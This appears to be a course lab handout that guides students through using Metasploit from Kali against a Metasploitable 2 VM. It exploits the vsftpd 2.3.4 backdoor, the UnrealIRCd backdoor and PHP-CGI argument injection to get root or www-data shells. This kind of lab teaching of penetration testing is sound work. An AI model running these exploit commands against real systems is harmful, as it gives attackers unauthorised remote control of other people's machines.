Lab 8 Metasploit v. Linux
Lab 8 Metasploit v. Linux
Setup
Start your Kali VM and log in as root with the password toor
Start your Metasploitable 2 VM and log in as msfadmin with the password msfadmin
Execute the ifconfig command on both machines and ping from one to the other. Make sure you get replies, as shown below.
msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
As shown below, the only required parameter is RHOST, the IP address of the target system.
Execute these commands, replacing the IP address with the IP address of your Metasploitable 2 VM.
As shown below, a command shell session opens. Execute the whoami command to see the reply root.
YOU MUST SEND IN A WHOLE-DESKTOP IMAGE FOR FULL CREDIT In Kali, execute these commands to exit the shell and Metasploit.
exit
exit
msfconsole
search unreal
use exploit/unix/irc/unreal_ircd_3281_backdoor
show options
As shown below, the only required parameter is RHOST, the IP address of the target system.
Execute these commands, replacing the IP address with the IP address of your Metasploitable 2 VM.
As shown below, a command shell session opens. Execute the whoami command to see the reply root.
YOU MUST SEND IN A WHOLE-DESKTOP IMAGE FOR FULL CREDIT Press Ctrl+C to cancel the session.
?-s
This is a known bug in PHP-CGI, and it allows us to get remote code execution with Metasploit.
msfconsole
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
show options
As shown below, the only required parameter is RHOST, the IP address of the target system.
Execute these commands, replacing the IP address with the IP address of your Metasploitable 2 VM.
Troubleshooting
If you are using Kali 2017.2, this exploit fails, and you get the message "Meterpreter session closed ... reason: died" message, as shown
below. This seems to be a bug in Kali. Just turn in that image and I'll accept it.
Execute these commands to see system information and your user ID. You are "www-data", which is a low-privilege account. To get root access, you need
another exploit, as discussed here.
sysinfo
getuid
Send a Cc to yourself.
Credits
Exploiting VSFTPD v2.3.4 on Metasploitable 2
https://community.rapid7.com/docs/DOC-1875